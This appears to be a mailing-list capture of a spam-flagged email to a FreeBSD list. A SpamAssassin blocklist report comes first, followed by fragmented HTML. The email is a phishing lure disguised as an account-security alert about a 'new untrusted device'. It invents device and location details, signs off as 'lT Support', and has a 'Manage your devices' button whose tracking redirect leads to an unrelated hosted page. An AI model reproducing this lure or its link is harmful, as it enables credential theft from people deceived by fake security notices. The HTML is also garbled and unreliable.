[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.80 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

[96.47.72.81 listed in will-spam-for-food.eu.org]

1.5 RCVD_IN_AHBL RBL: AHBL: sender is listed in dnsbl.ahbl.org

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[dnsbl.ahbl.org]

[2610:1c1:1:606c:0:0:50:24 listed in]

[dnsbl.ahbl.org]

[96.47.72.80 listed in dnsbl.ahbl.org]

[96.47.72.80 listed in dnsbl.ahbl.org]

[96.47.72.80 listed in dnsbl.ahbl.org]

[96.47.72.80 listed in dnsbl.ahbl.org]

[96.47.72.81 listed in dnsbl.ahbl.org]

[96.47.72.81 listed in dnsbl.ahbl.org]

[96.47.72.81 listed in dnsbl.ahbl.org]

[96.47.72.81 listed in dnsbl.ahbl.org]

[212.86.125.173 listed in dnsbl.ahbl.org]

[212.86.125.173 listed in dnsbl.ahbl.org]

[212.86.125.173 listed in dnsbl.ahbl.org]

[212.86.125.173 listed in dnsbl.ahbl.org]

[94.154.32.81 listed in dnsbl.ahbl.org]

[94.154.32.81 listed in dnsbl.ahbl.org]

[94.154.32.81 listed in dnsbl.ahbl.org]

[94.154.32.81 listed in dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_PROXY RBL: AHBL: Open Proxy server in dnsbl.ahbl.org

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

1.5 RCVD_IN_AHBL_SPAM RBL: AHBL: Spam Source in dnsbl.ahbl.org

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

0.0 RCVD_IN_AHBL_RTB RBL: AHBL: Real-Time Blocked in dnsbl.ahbl.org

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

0.5 RCVD_IN_AHBL_SMTP RBL: AHBL: Open SMTP relay in dnsbl.ahbl.org

[2610:1c1:1:606c:0:0:19:1 listed in]

[dnsbl.ahbl.org]

1.5 RCVD_IN_SBL_XBL RBL: Received via a relay in Spamhaus SBL+XBL

[94.154.32.81 listed in sbl-xbl.spamhaus.org]

[212.86.125.173 listed in sbl-xbl.spamhaus.org]

2.6 RCVD_IN_SBL RBL: Received via a relay in Spamhaus SBL

[94.154.32.81 listed in zen.spamhaus.org]

3.6 RCVD_IN_SBL_CSS RBL: Received via a relay in Spamhaus SBL-CSS

[212.86.125.173 listed in zen.spamhaus.org]

-3.0 RCVD_IN_RP_CERTIFIED RBL: Sender in ReturnPath Certified - Contact

cert-sa@returnpath.net

[Excessive Number of Queries | ]

-2.0 RCVD_IN_RP_SAFE RBL: Sender in ReturnPath Safe - Contact

safe-sa@returnpath.net

[Excessive Number of Queries | ]

-0.0 SPF_PASS SPF: sender matches SPF record

0.2 MR_NOT_ATTRIBUTED_IP Beta rule: an non-attributed IPv4 found in

headers

-0.0 T_RP_MATCHES_RCVD Envelope sender domain matches handover relay

domain

1.3 RCVD_IN_RP_RNBL RBL: Relay in RNBL,

https://senderscore.org/blacklistlookup/

[96.47.72.81 listed in bl.score.senderscore.com]

0.1 MXG_EMAIL_FRAG BODY: URI with email in fragment

0.0 HTML_MESSAGE BODY: HTML included in message

0.0 HTML_FONT_SIZE_HUGE BODY: HTML font size is huge

1.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts

-1.0 MAILING_LIST_MULTI Multiple indicators imply a widely-seen list

manager

0.0 T_DKIM_INVALID DKIM-Signature header exists but is not valid

0.0 SARE_FROM_SPAM_WORD4 From address suggests this may be spam

0.8 SARE_FROM_SPAM_WORD3 I don't know people named this!

Subject: {SPAM?} Security alert: A new untrusted device added to your Email account














us: 20px; border: 0.5px solid rgba(135, 134, 127, 0.25); border-image: none=

; text-align: center; color: rgb(34, 34, 34); text-transform: none; text-in=

dent: 0px; letter-spacing: normal; font-family: Arial, Helvetica, sans-seri=

f; font-size: 0px; font-style: normal; font-weight: 400; word-spacing: 0px;=

white-space: normal; max-width: 592px; orphans: 2; widows: 2; font-variant=

-ligatures: normal; font-variant-caps: normal;=20

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=

coration-style: initial; text-decoration-color: initial;">
enter" role=3D"presentation" style=3D"border-radius: 20px; width: 589.33px;=

border-collapse: collapse;" border=3D"0" cellspacing=3D"0" cellpadding=3D"=

0">

lapse: collapse; direction: ltr;">


33px; text-align: left; vertical-align: top; display: inline-block; directi=

on: ltr; max-width: 100%;">
e=3D"vertical-align: top; border-collapse: collapse;" border=3D"0" cellspac=

ing=3D"0" cellpadding=3D"0">



=


: 0px; padding: 36px 25px 10px; border-collapse: collapse;">


cing: 0px;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
style=3D"margin: 0px; width: 128px; border-collapse: collapse;">
e=3D"font-weight: bolder; box-sizing: border-box;">
b(249, 83, 22); box-sizing: border-box;">freebsd-questions=

@freebsd.org

llapse: collapse;">

; line-height: 34px; font-family: Helvetica, sans-serif; font-size: 28px; f=

ont-weight: bold;">A new untrusted device was added to your email acco=

unt

px 25px 18px; border-collapse: collapse;">


; font-family: Helvetica, sans-serif; font-size: 16px;">If this was you, no=

action is needed. If you don't recognize this activity, review your device=

s and secure your account now.

=3D"margin: 0px; padding: 4px 25px; border-collapse: collapse;">


1); line-height: 24px; font-family: Helvetica, sans-serif; font-size: 15px;=

border-collapse: collapse;" border=3D"0" cellspacing=3D"0" cellpadding=3D"=

0">


13, 99); white-space: nowrap; border-collapse: collapse;">Device
yle=3D"margin: 0px; padding: 6px 0px; text-align: right; border-collapse: c=

ollapse;">Electron on Windows · Frederick

-space: nowrap; border-collapse: collapse;">Location
n: 0px; padding: 6px 0px; text-align: right; border-collapse: collapse;">Fr=

ederick, Maryland, US

px; color: rgb(115, 113, 99); white-space: nowrap; border-collapse: collaps=

e;">IP address
right; border-collapse: collapse;">

2601:147:4c00:7a20:5cbc:1d86:76a:75e7

: 0px; padding: 6px 0px; color: rgb(115, 113, 99); white-space: nowrap; bor=

der-collapse: collapse;">When
x; text-align: right; border-collapse: collapse;">11/9/2026 10:54:20 p.m.
td>

0px; padding: 24px 25px; border-collapse: collapse;">


er=3D"0" cellspacing=3D"0" cellpadding=3D"0">


" role=3D"presentation" valign=3D"middle" style=3D"background: rgb(0, 0, 0)=

; margin: 0px; border-radius: 12px; border: currentColor; border-image: non=

e; border-collapse: collapse;" bgcolor=3D"#000000">


olor: rgb(255, 255, 255); line-height: 15.6px; font-family: Helvetica, sans=

-serif; font-size: 13px; display: inline-block;">


18px; text-decoration: none; display: inline-block;" href=3D"https://track=

ingservice.monday.com/tracker/link?token=3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpX=

VCJ9.eyJvcmlnaW5hbFVybCI6Imh0dHBzOi8vY291cmFnZW91cy1jeWFuLW1tM2dlc2JxLmVkZ2=

VvbmUuZGV2IiwiZW1haWxJZCI6ImNjMDFkNDQzLWFkYmItNGYwYi05ODMxLTQ2MzY2NjdhMDhlZ=

iIsImlhdCI6MTc5MzA5Njg5Nn0.aFRqNspxugjxQzTKcbcPpmKt7wg6WzQ95vCCPFhYWZY&=

r=3Deuc1#freebsd-questions@freebsd.org" target=3D"_blank">

Manage your devices

: collapse;">

ne-height: 22px; font-family: Arial; font-size: 14px;">You're receiving thi=

s email because a new untrusted device was added to your account.
If you=

're experiencing issues, please contact lT Support.



text-transform: none; text-indent: 0px; letter-spacing: normal; font-famil=

y: Arial, Helvetica, sans-serif; font-size: 0px; font-style: normal; font-w=

eight: 400; word-spacing: 0px; white-space: normal; max-width: 592px; orpha=

ns: 2; widows: 2; background-color: rgb(250, 249, 245); font-variant-ligatu=

res: normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; tex=

t-decoration-thickness: initial;=20

text-decoration-style: initial; text-decoration-color: initial;">
gn=3D"center" role=3D"presentation" style=3D"width: 592px; border-collapse:=

collapse;" border=3D"0" cellspacing=3D"0" cellpadding=3D"0">
style=3D"margin: 0px; padding: 20px 0px; border-collapse: collapse; direct=

ion: ltr;">